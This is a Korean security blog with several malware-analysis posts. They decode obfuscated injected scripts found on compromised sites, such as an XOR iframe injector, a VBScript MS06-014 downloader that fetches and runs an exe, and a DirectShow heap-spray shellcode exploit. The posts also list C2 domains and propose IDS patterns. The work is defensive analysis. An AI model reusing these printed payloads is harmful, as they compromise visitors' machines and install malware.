0xFF small talk2010. 5. 4. 16:54


오랜만에 뵙습니다. -_-;;
일이 많다는 핑계를 대고 싶군요...흑..흑...


다들 아시는 내용이겠지만 대형 쇼핑몰 사용시에도 악성스트립트에 대한 주의를 늦추시면 안된다는 말씀을 드리고 싶습니다.
저도 그렇지만 대형 쇼핑몰이면 보안에 어느 정도 신경을 쓰기 때문에 안전할꺼라 생각하시는 분들 많으실걸로 생각됩니다.



보시는봐와 같이 Java를 사용한다는 팝업이 떴습니다.
확인해보니 해외에 있는 pdf 취약점을 공격하는 악성스크립트가 실행되어 팝업이 뜬 것으로 확인되었습니다.

그러면 이 쇼핑몰 사이트에 악성스크립트가 삽입된걸까요??

대답은 아닙니다...입니다..

대부분 쇼핑몰에서 물건을 판매하는 판매자들은 이미지를 여러개 추가하기 위해 별도의 웹서버를 호스팅 받고 있으며
대현 쇼핑몰의 글을 볼때 이런 별도의 웹서버에 있는 페이지들이 요청이 되는데
이런 별도의 웹서버에 악성스크립트가 삽입이 되어 클라이언트에 의해 요청되게 됩니다.


결국 대형 쇼핑몰도 안심하고 사용하실려면 백신엔진 최신으로 하시고 윈도우 업데이트가 모두 되어 있어야 합니다.

인터넷을 안심하고 쓸 수 있는 날이 왔으면 합니다.


Posted by demantos
0x02 analysis2009. 12. 29. 10:33


이전글에서 보셨던 charCodeAt(i)^1 이외에도 charCodeAt(i)-1 과 같은 형태로 있었습니다.

어쨋든 charCodeAt(i)^1로 치환한 놈들은 charCodeAt(i)^1로 다시 치환하면 원문자열이 나오고
charCodeAt(i)-1로 치환한 놈들은 charCodeAt(i)+1로 다시 치환하면 원문자열이 나옵니다.

그럼 charCodeAt(i)-8로 치환된 문자열은 어떻게 해야 원문자열이 나올까요?




보시는바와 같이 -8을 해서 나온 문자열을 동일한 함수에 다시 +8을 하면 원문자열이 나옵니다.

결국 IDS에 추가할려고 했던 패턴들은 일부만 탐지할 수 있다는 단점을 안고 있습니다.

어떤 수식을 썼냐에 따라서 문자열이 달라질 수 있기 때문이죠..


이 생각도 해봤습니다.

Response에서 charCodeAt으로 탐지를 해볼까...

하지만 이걸로 탐지를 할 경우 오탐율이 높아진다는 단점이 있습니다.

낮은 정탐율이냐 높은 오탐율이냐 중 하나를 고르라면 낮은 정탐율이 낫겠죠..

아무튼 좀 더 생각을 해봐야 할 문제인 듯 합니다.






Posted by demantos
0x02 analysis2009. 12. 28. 18:26

뭐 지금까지 다양한 삽입된 스크립트들을 많이 보았는데요
오늘은 지금까지와는 좀 다른 형태를 봐서 포스팅합니다.

이런 형태를 보셨던 분들도 계시겠지만 저는 오늘이 처음이네요..^^;

<script>
q="=hgs`ld!rsb<iuuq;..mhwd,bntouds/hogn.ru`ur.ho/qiq!vheui<0!idhfiu<0!ruxmd<&whrhchmhux;iheedo&?=.hgs`ld?";
w="";
for(i=0;i<q.length;i++)
{
 w=w+String.fromCharCode(q.charCodeAt(i)^1);
};
document.write(w);
</script>


요즘은 iframe 삽입을 탐지하거나 차단하는 경우가 많아서 그런지 이걸 우회할려는 의도로 보입니다.
디코딩해보면...

<iframe src=http://live-counter.info/stats/in.php width=1 height=1 style='visibility:hidden'></iframe>


디코딩이라기 보다는 이상한 문자열을 함수에 넣어서 돌린 결과라고 하는게 맞겠네요..
결국 iframe이 나오네요...

for문을 돌면서 한글자씩 읽어와서 문자를 치환하는 방식을 사용했는데요 붉은색으로 된 부분만 보시면

=hgs`ld!rsb<iuuq;..
<iframe src=http://


이런식으로 치환이 되어 있습니다.
결국 iframe으로 삽입을 한다면 붉은색으로 된 부분은 항상 같은 형태가 나올 수 있다는 것이지요.
<script src=http:// 를 사용한다면 물론 달라지겠구요..

그런데 <iframe src=" 를 쓸지 <iframe src= 를 쓸지에 따라서 치환된 문자 형태가 달라질 것으로 보입니다.
결국 <iframe src=과 <script src=을 치환시켜 IDS에 패턴을 넣어서 추이를 살펴봐야 할 것으로 생각됩니다.

이런 패턴이 많아지면 귀찮을 것 같은데요..
좀 지켜봐야 할 것 같습니다.

--------------------------------------------------------------------------------------------------

내침김에 IDS 패턴 만들어 봤습니다.
귀찮을거라 예상했는데 생각보다 단순했습니다.

w=w+String.fromCharCode(q.charCodeAt(i)^1); 에 입력되는 문자열을 <iframe src= 와 <script src= 를
입력했더니 치환된 문자열이 나왔습니다.


패턴명 : <iframe src=
탐지문자열 : =hgs`ld!rsb<

패턴명 : <script src=
탐지문자열 : =rbshqu!rsb<


제가 사용했던 스크립트 코드 첨부합니다. 굵은색으로 된 부분이 <iframe src= <script src=을 치환한 for문입니다.

<script>
q="=hgs`ld!rsb<iuuq;..";
p="<iframe src=";
r="<script src=";
w="";
x="";
y="";

for(i=0;i<q.length;i++)
{
        w=w+String.fromCharCode(q.charCodeAt(i)^1);
};

for(i=0;i<p.length;i++)
{
        x=x+String.fromCharCode(p.charCodeAt(i)^1);
};

for(i=0;i<r.length;i++)
{
        y=y+String.fromCharCode(r.charCodeAt(i)^1);
}

document.write("<textarea rows=5 cols=100>");
document.write(w);
document.write("</textarea>");
document.write("<textarea rows=5 cols=100>");
document.write(x);
document.write("</textarea>");
document.write("<textarea rows=5 cols=100>");
document.write(y);
document.write("</textarea>");
</script>


Posted by demantos
0x02 analysis2009. 10. 1. 18:03

지금쯤 고향앞으로!! 하시는 분들도 계실겁니다.
무사히 다녀오시길 바랍니다. ^^
전 먼저 갔다와서 내일,모레까지 근무네요...ㅜ.ㅜ

오랜만에 스크립트 하나 분석했습니다.

확보한 파일은 총 8개입니다.

swf.js --- Main.asp ---+--- ad.htm ---> hxxp://www.eleparts.co.kr/data/msn.exe
                       +--- index.htm ---+--- he1.swf
                                         +--- he3.swf
                                         +--- he2.swf

swf.js

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7.8("<1 5=4://2.3.6.9/d./e.c b=0 a=0></1>");',15,15,'|iframe|xxx|yyy|http|src||document|write|zzz|height|width|asp|t|Main'.split('|'),0,{}))

첫번째 스크립트는 패킹되어 있었습니다. http://dean.edward.name/unpacker 에서 언패킹해보면 iframe으로 Main.asp를 삽입하고 있었습니다.

document.write("<iframe src=http://xxx.yyy.6.zzz/t./Main.asp width=0 height=0></iframe>");


Main.asp

<SCRIPT>
document.write("<iframe width=50 height=0 src=ad.htm></iframe>");
document.write("<iframe width=100 height=0 src=index.htm></iframe>");
window.status="供냥";
window.onerror=function(){return true;}
</SCRIPT>
</HEAD>
</HTML>


ad.htm

<script type="text/jscript">
function init() {
document.write("");
}
window.onload = init;
</script>
<script>
var a1 = "ABCDEFG";
var a2 = "HIJKLMNOP";
var a3 = "QRSTUVWXYZabcdef";
var keyStrs = a1+a2+a3+"ghijklmnopqrstuv"+"wxyz0123456789+/"+"=";
function mydata(input){
 var output="";
 var chr1,chr2,chr3="";
 var enc1,enc2,enc3,enc4="";
 var i=0;
 var base64test=/[^A-Za-z0-9\+\/\=]/g;
 input=input.replace(/[^A-Za-z0-9\+\/\=]/g,"");
 do{
  enc1=keyStrs.indexOf(input.charAt(i++));
  enc2=keyStrs.indexOf(input.charAt(i++));
  enc3=keyStrs.indexOf(input.charAt(i++));
  enc4=keyStrs.indexOf(input.charAt(i++));
  chr1=(enc1<<2)|(enc2>>4);
  chr2=((enc2&15)<<4)|(enc3>>2);
  chr3=((enc3&3)<<6)|enc4;
  output=output+String.fromCharCode(chr1);
  if(enc3!=64){output=output+String.fromCharCode(chr2);};
  if(enc4!=64){output=output+String.fromCharCode(chr3);};
  chr1=chr2=chr3="";
  enc1=enc2=enc3=enc4="";
 };
 while(i<input.length);return output;
 };
t="43 + 37 ,107 - 36 ,9880 / 95 ,64 - 16 ,117 - 19 ,141 - 54 ,8211 / 69 ,9 + 34 ,884 / 13 ,97 - 16 ,153 - 42 ,38 + 18 ,75 + 24 ,350 / 7 ,5772 / 74 ,2057 / 17 ,0 + 97 ,70 + 18 ,3498 / 53 ,3 + 45 ,3358 / 46 ,16 + 55 ,137 - 17 ,90 + 14 ,174 - 76 ,153 - 44 ,167 - 67 ,1715 / 35 ,3204 / 36 ,4437 / 51 ,42 + 58 ,8856 / 82 ,51 + 29 ,3320 / 40 ,109 - 35 ,75 + 12 ,157 - 76 ,3348 / 31 ,113 - 35 ,64 + 42 ,172 - 73 ,4360 / 40 ,54 + 54 ,156 - 37 ,9200 / 92 ,1139 / 17 ,29 + 44 ,46 - 3 ,4420 / 65 ,72 + 9 ,6 + 106 ,179 - 61 ,1372 / 14 ,10395 / 99 ,52 + 14 ,196 - 88 ,... 중략 ...,13 + 90 ,51 + 39 ,10 + 99 ,102 - 49 ,187 - 83 ,1666 / 17 ,9 + 78 ,4760 / 56 ,30 + 90 ,94 - 18 ,670 / 10 ,102 - 29 ,4200 / 40 ,44 + 32 ,1675 / 25 ,56 + 17 ,111 - 6 ,30 + 46 ,4154 / 62 ,58 + 16 ,4720 / 40 ,94 + 5 ,83 - 12 ,4420 / 52 ,10185 / 97 ,3922 / 53 ,210 - 105 ,146 - 72 ,35 + 82 ,67 + 6 ,205 - 100 ,156 - 37 ,13447 / 113 ,4420 / 65 ,2754 / 34 ,174 - 63 ,1680 / 30 ,1 + 75 ,816 / 16 ,31 + 47 ,152 - 46 ,127 - 28 ,65 + 44 ,195 - 87 ,195 - 76 ,1700 / 17 ,55 + 13 ,22 + 30 ,84 - 23 ";
t=eval("mydata(String.fromCharCode("+t+"))");
document.write(t);
</script>

ad.htm은 t에 저장되는 문자열이 핵심입니다.
위 스크립트를 디코딩해보면

<html>
<script language="VBScript">
on error resume next
dl = "http://www.xxxxxxxx.co.kr/data/msn.exe"
Set df = document.createElement("ob"&"ject")
df.setAttribute "classid", "clsid:BD96C55"&"6-65A3-11D0-983A-00C04FC29E36"
str="Microsoft"&".XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"&"ea"
str1=a1&a2&a3
str5=str1
set S = df.createobject(str5&"m","")
S.type = 1
str6="G"&"ET"
x.Open str6, dl, False
x.Send
fname1="g0ld"&".com"
set F = df.createobject("Scripti"&"ng.FilesystemObject","")
set tmp = F.GetSpecialFolder(2)
S.open
fname1= F.BuildPath(tmp,fname1)
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Ap"&"plication","")
Q.ShellExecute fname1,"","","ope"&"n",0
</script>

이 스크립트는 MS06-014 취약점을 공격해서 hxxp://www.xxxxxxxx.co.kr/data/msn.exe 파일을 다운로드하여 실행하게끔 합니다. 미리 받아놨어야 하는데 안받아놨었습니다. -_-;; 지금은 다운로드가 안되는군요...


index.htm

<html>
<body> 
<div id="DivID">
<script src='he1.swf'></script> 
<script src='he3.swf'>
</script>
<script src='he2.swf'></script> 
</body>
</html>



he1.swf, he3.swf, he2.swf

var XXXxxyt='0';
var xxyytt='%';
var xxttyy='u';
var ttyyxx=xxyytt+xxttyy;
var UUse=ttyyxx+'9'+'09'+'0'+ttyyxx+'9'+'0'+'9'+XXXxxyt;
var YTavp='%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uEAEA';
var YTavp1='%u5858%u5858%u10EB%u4B5B%uC933%uB966%u03B8%u3480%uBD0B%uFAE2%u05EB%uEBE8%uFFFF';
var ytshell=unescape(UUse+YTavp1+... 중략 ...+'%u4627%uA8EE%ud5db%uc9c9%u87cd%u9292%ud2c9%ucfc8%ud493%udccb%uded3%uc9d4%u93c4%ud2de%u92d0%ud0d4%udadc%uced8%ud492%udccb%u92d3%ud2d1%ud2da%ud893%ud8c5%uBDBD%uBDBD'+YTavp);
var headersize=20;
var omybro=unescape(UUse);

var coass="darf";

var slacksace=headersize+ytshell.length;

while(omybro.length<slacksace)
omybro+=omybro;
bZmybr=omybro.substring(0,slacksace);
shuishiMVP=omybro.substring(0,omybro.length-slacksace);
while(shuishiMVP.length+slacksace<0x30000)
shuishiMVP=shuishiMVP+shuishiMVP+bZmybr;
memory=new Array();
var r=0;
var rsc="f";
for(x=r;x<300;x++)
memory[x]=shuishiMVP+ytshell;

var vpnject=document.createElement('ob'+'j'+'e'+'c'+'t');
DivID.appendChild(vpnject);
vpnject.width='1';
vpnject.height='1';
vpnject.data='./logo.gif';
var caoavp='li';
vpnject.classid='clsid:0955AC62-BF2E-4CBA-A'+'2B9-A63F772D46CF';


he1.swf, hw2.sef, hw3.swf는 플래쉬 파일이긴 하지만 실제로는 자바스크립트가 들어 있었습니다.
이 스크립트는 DirectShow MPEG2TuneRequest 취약점을 공격하는 제로데이 스크립트입니다.

자세한 내용은 http://hummingbird.tistory.com/1184 를 참조하시기 바랍니다.




참고로 ad.htm과 같은 형태의 스크립트가 실제로는 어떤 스크립트인지 확인하기 위해서는 디코딩 작업을 수행해야 합니다.
이런 경우 디코딩하는 간단한 팁(?)을 적어볼까 합니다.

ad.htm 스크립트 내용을 그대로 적고 마지막에 document.write(t); 와 </script> 는 지웁니다.
그리고 아래 내용을 이어서 적습니다.

document.write("<textarea rows=30 cols=100>");
document.write(t);
document.write("</textarea>");
</script>

이렇게 html 파일을 웹서버에 만들고 해당 파일을 요청하면 인코딩된 내용들이 디코딩되고 원래대로는 document.write(t)에서 실행하게 되는데 위 html 파일을 보면 <textarea>라는 태그때문에 스크립트가 실행되지 않고 텍스트 상자안에 디코딩된 스크립트 내용이 그대로 출력되게 됩니다.


이 방법은 일반적으로 많이 볼 수 있는 인코딩된 스크립트를 디코딩하는데에도 사용 가능합니다.
<textarea> 태그의 특성을 이용해서 스크립트를 그대로 출력하게 하는 방법으로 일반적으로 많이 보이는 인코딩된 스크립트는 document.write(unescape("인코딩된 문자열")); 과 같은 방법으로 확인 가능합니다.

즉, 아래와 같이 쓰시면 됩니다.

document.write("<textarea rows=30 cols=100>");
document.write(unescape("인코딩된 문자열"));
document.write("</textarea>");
</script>


이 방법을 알려주신 방립동님께 거듭 감사드립니다. ^^



그럼 오늘도 즐삽~





Posted by demantos
0x02 analysis2009. 3. 5. 18:27

이번에도 네x버 SecurityPlus 까페에서 구한 샘플입니다.
까페 주인장이신 mirrk님께서 올려두셔서 받았었습니다.(작년 12월 30일날)
그냥 놔두고 있다고 오늘 다시 보게 되었습니다.
이미 분석이 끝나신 분들도 계시지만 개인적인 성취감을 위해 한번 덤벼봤습니다.


덤비긴 덤볐는데 초반부터 제가 몰렸습니다. -_-;;
악성스크립트를 그리 많이 본건 아니지만 지금까지 본 악성스크립트 중 최고로 독한놈인 듯 합니다.
첨부된 파일은 index와 check.html 파일 두개였습니다.

mirrk님의 글을 보면




다소 재밌는 구석(?)이라고 하셨지만 전혀 재미있지 않았습니다!!....(라고 말하고 싶지만 사실 좀 재미있긴 했습니다. 헤헤)

일단 index 파일부터 보시겠습니다. 내용이 길어 일부만 보여드리겠습니다. 대충 감만 잡으시길...




스크롤바를 보시면 아시겠지만 이러 내용이 두번 더 나옵니다. -_-;;
처음엔 눈 빠지는줄 알았습니다. 그나마 눈이 남들보다 조금 좋은편이라 다행이었습니다.

패턴을 확인해보니

알파벳대문자='~~~~~';

이런 형태였습니다. 즉 대문자가 변수인거죠..
그러다가 어느 정도 진행하다가 A+=O+P+E+C+B+M 와 같은 형태로 스크립트 코드를 전부 A라는 변수에 집어 넣고 있습니다.

딱히 다른 방법이 생각나지 않아 메모장에 붙녀 넣은 다음 '; 가 나오고 그 다음에 알파벳 대문자가 나오면 알파벳 앞에서 엔터를 쳐서 보기 좋게 정렬해 나갔습니다. 그런데 아무리해도 줄어들 기미가 보이질 않았습니다. 막막하더군요...

그러다 갑자기 생각났던게 vi 에디터였습니다. 요즘 리눅스에 좀 소홀히했더니 무뎌지나 봅니다.




:1s/';/';^M/g   ---> ^M은 ctrl+v를 누르시고 ctrl+m을 누르시면 됩니다.




변경되었습니다. 중간중간 하얀색선 안의 내용처럼 되는 부분이 있는데 몇개 안되니 직접 수정해주시면 됩니다.

대충 형태를 보니 알파벳 대문자로 변수 지정을 하고 원본 스크립트를 무작위로 쪼개서 변수에 할당합니다. 물론 순서에 맞기 않게 마구잡이로 섞어놨습니다. 순서대로 해놨으면 참 보기 쉬웠을텐데 말이죠.. 똑똑한건지 지독한건지...

이렇게 변수를 계속 할당하고 A에 append시킨 후 가장 마지막엔 eval() 함수를 사용해서 스크립트를 실행하고 있었습니다. 그래서 eval() 대신 document.write를 사용해서 실행되는 스크립트를 출력해보았습니다.




출력해보니 이번엔 좀 더 알아보기 쉽게 나오긴 했지만 아직도 복잡하군요...-_-;;




직접 실행시켜보니 에러가 나더군요..
아무래도 뭔가 좀 부족한가 봅니다.
계속 하고 싶지만 오늘은 제가 있는 곳이 너무 더워 그만 나가볼렵니다.
비도 오니 쏘주나 한잔~ ㅎㅎ

원본 코드 첨부하겠습니다.









Posted by demantos
0x02 analysis2009. 3. 4. 21:48

엊그제 네x버의 SecurityPlus 까페에 갔다가 획득하게 된 파일들입니다.
다운 받은 파일은 html과 js 파일이었는데 결국 하나의 파일을 통해 iframe이나 script로 연결된 파일들이었습니다.

가장 먼저 나오는놈부터 보겠습니다.

help.htm
<script src=http://125.xxx.xxx.xxx/ad/bir.js></script>
<script src="http://s17.cnzz.com/stat.php?id=1255205&web_id=1255205" language="JavaScript" charset="gb2312"></script>

bir.js 파일이 script 태그를 통해 삽입되고 있습니다. 바로 아래에는 익숙한 도메인이 보이는군요.. 현재 두번째 스크립트는 스크립트로써 동작하지 않고 그냥 텍스트 형태로 문자열만 보이고 있습니다.

그럼 bir.js 파일을 보도록 하겠습니다.



그냥 딱 보기에도 악성스크립트인게 보입니다. 정상적인 스크립트라면 이런식으로 인코딩하지 않겠죠..
뭔가 구린게 있으니 인코딩을 하는거겠죠?

인코딩된 내용을 디코딩해보니 브라우져가 MSIE 7버전이 아닌 경우에 MS06-014 취약점을 찾고 취약점이 있을 경우 tmg.htm 파일을 iframe으로 삽입합니다.
그리고 RealPlayer의 취약점을 찾고 RealPlayer의 버전이 6.0.14.802일 경우 so.htm을 6.0.14.552일 경우 sso.htm을 iframe으로 삽입합니다.
마지막으로 ie.htm을 iframe으로 삽입합니다.

결국 이 파일은 MS06-014 취약점과 RealPlayer 6.0.14.802와 6.0.14.552 버전의 취약점을 공격하는 스크립트입니다.


이번엔 is.htm 파일입니다.




첫번째 빨간 네모 안의 인코딩된 데이터는 쉘코드인 듯 합니다.
is.htm 파일의 처음부터 빨간 네모 있는 부분까지는 MS09-002 취약점을 공격하는 코드가 아닌가 생각됩니다.(방립동님 감사~)
방립동님께서 조언해주시면서 알려주신 사이트입니다. 참고하시면 도움이 되실듯...
http://www.hacker.com.cn/article/view_15004.html
http://blog.sina.com.cn/s/blog_4cbae5c50100c46d.html

혹시 이부분이 틀렸다면 지적해주세요~

그리고 두번째 빨간 네모 안의 인코딩된 데이터는 XML 파싱 취약점을 공격하는 코드입니다. 두번을 디코딩하면 다음과 같은 코드가 나옵니다.




이번에는 tmg.htm 파일입니다.



원래는 이것보다 더 길게 나오는데 짤렸습니다. tmg.htm은 packer로 패킹을 했기 때문에 언팩을 해야 합니다. 리버싱에서의 언팩이 아닙니다...-_-;;
http://dean.edwards.name/packer 에 가시면 패킹도 가능하고 언팩도 가능합니다.

언팩을 해보면




이번에도 디코딩해야 할게 두개가 있습니다. 하나는 실제 실행될 악성코드를 다운 받을 URL이구요 하나는 CLSID입니다. CLSID로 구글신께 질뭉을 드리면 MS06-014 취약점이라고 대답해주십니다.(구글신 만쉐~)

일단 URL의 파일을 받아 봤습니다. 그리고 실행해봤습니다.(꼭 vmware에서 하시기 바랍니다)

먼저 동일한 사이트(http://www.pinganye.net)에서 뭔가를 열심히 받아옵니다.



일단 다운 받을 파일의 목록(/css/img/List.txt)을 가져온 다음 파일을 받아옵니다. (maz.exe, daz.exe, haz.exe, paz.exe, oaz.exe)

Winalysis로 시스템 스냅샷을 뜬 후 img.exe를 실행하기 전과 비교해보니 상당히 많은 변화가 생겼습니다.
파일이 총 8개가 새롭게 생성되었고 레지스트리는 말할 것도 없습니다. 그리고 새로운 서비스도 생겼습니다.






아무래도 새로 생성된 8개의 파일은 다운 받았던 6개의 파일에 의해 생성된 듯 합니다. 그리고 서비스를 직접 확인해 봤습니다.






공격자들이 자주 애용하는 svchost -krnlsrvc가 보이구요
Windows Hardware Card는 설명이 너무 눈에 띄게 특이 하군요...-_-;;

우리의 영원한 동반자이자 친구인 Process Explorer에게 물어봤습니다... 쟤네들 도대체 지금 무슨 짓을 하고 있는지...




한놈은 계속 연결되어 있는데 한놈은 연결됐다가 끊기고를 반복하고 있었습니다.




http://sharetitt.3322.org:9012/20090030004/21000904/5366250.jsp 를 계속 요청하지만 sharetitt.3322.org는 없다고 합니다. 계속 RST 패킷만....


[추가증상]
저는 분석 시스템에서 보통 시스템폴더, 보호된 운영체제파일, 숨김파일등이 보이게끔 설정을 하곤 합니다. (개인노트북도 그렇지만...)
그런데 img.exe 이녀석...계속 숨김파일 및 폴더는 표시안함으로 설정을 되돌리는군요..
이러다간 다른 악성코드들까지 잘못하면 안보이겠네요..


Wireshark로 뜬 패킷 중에 DNS 질의하는 놈들만 골라봤습니다. 총 4개의 도메인을 질의하는데 그 중 한놈은 없다고 하네요...



www.honggu2009.com은 질의만 할 뿐 다른 행동은 하지 않았고 srily.vicp.net은 sharetitt.3322.org와 아이피가 같았습니다.
3322.org야 막혀 있으니 상관 없는데요 srily.vicp.net은 아직 sink hole 처리가 되어 있지 않군요.. 도메인 차단해야 할 듯 합니다.


img.exe 실행하면서 캡쳐했던 패킷은 첨부하겠습니다.


html 코드만 볼려다가 갑자기 이야기가 삼천포로 빠졌군요...-_-;;


다음은 so.htm과 sso.htm 파일입니다. 실제 파일 내용은 더 길지만 지면 관계상 짧게 잘랐습니다.






둘 다 RealNetworks RealPlayer ActiveX controls 취약점을 공격하는 코드입니다.
sso.htm 내용중 빨간색으로 표시된 부분 보이시죠? 유치한 방법을 사용했습니다.

"IEaaR"+"PCaaatl.I"+"EaaaRP"+"Ctaaal.1" 라고 쓴 후 바로 아래에서 a 라는 글자를 없애버립니다. 그런 IERPCtl.IERPCtl.1이라고 변환이 됩니다.
별게 아니라 생각되지만 점점 복잡하게 꽈놓는게 공격자들의 성향인 듯 합니다. 앞으로가 걱정...


마지막으로 ie.htm은 FlashPlayer 버전을 확인한 후 Antivir 백신의 설치와 업데이트를 방해합니다.(SecurityPlus musicalmman님)




마지막에 파란색으로 된 부분은 패킹되어 있는 부분입니다. 패킹을 풀면 플래시플레이어의 버전에 따른 행동들을 지정하고 있습니다.







윈도우 업데이트와 주요 어플리케이션들에 대한 패치가 이루어지지 않으면 공격을 받을 수 있습니다.
다른 말로 하자면 좀비가 될 수 있다는 것이지요..

흔히 PC방에서는 바이러스 걸렸다 싶으면 백업해놓은 걸로 한번 밀면 그만이라 합니다.
하지만 백업해놓은 걸로 다시 설치하면 재감염됩니다.

안일하고 잘못된 생각들이 좀비의 수를 늘리고 있습니다.
물론 ISP들은 그걸 막기 위해 삽질해서 숙주도메인 찾아서 막고 있습니다.

sharetitt.3322.org 막혔습니다. 이 놈 몇 주 전에 유심히 지켜봤던 기억이 나네요.
헌데 sharetitt.3322.org와 같은 아이피로 srily.vicp.net 도메인이 등록되어 있습니다.
그럼 ISP는 또 막겠죠? 그럼 공격자들은 또 다른 도메인을 찾을겁니다.

3322.org가 잘 안되니 optus.nu로 갈아타자~ 라는 지하세계의 공지가 있었다고 하니 3322.org를 막는다고 전부 해결되는게 아닙니다.
지금 optus.nu에 대한 질의가 점점 늘어나고 있습니다. 몇 달 뒤엔 optus.nu를 차단하는 일이 발생할 수도 있겠죠..



이상으로 정리가 잘 되지 않은 분석을 보시느라 수고하셨습니다. ^^;;

잘못된 부분이 있다면 지적해주시면 감사하겠습니다.

그리고 분석했던 htm 파일은 필요하신분들께 드리도록 하겠습니다.





Posted by demantos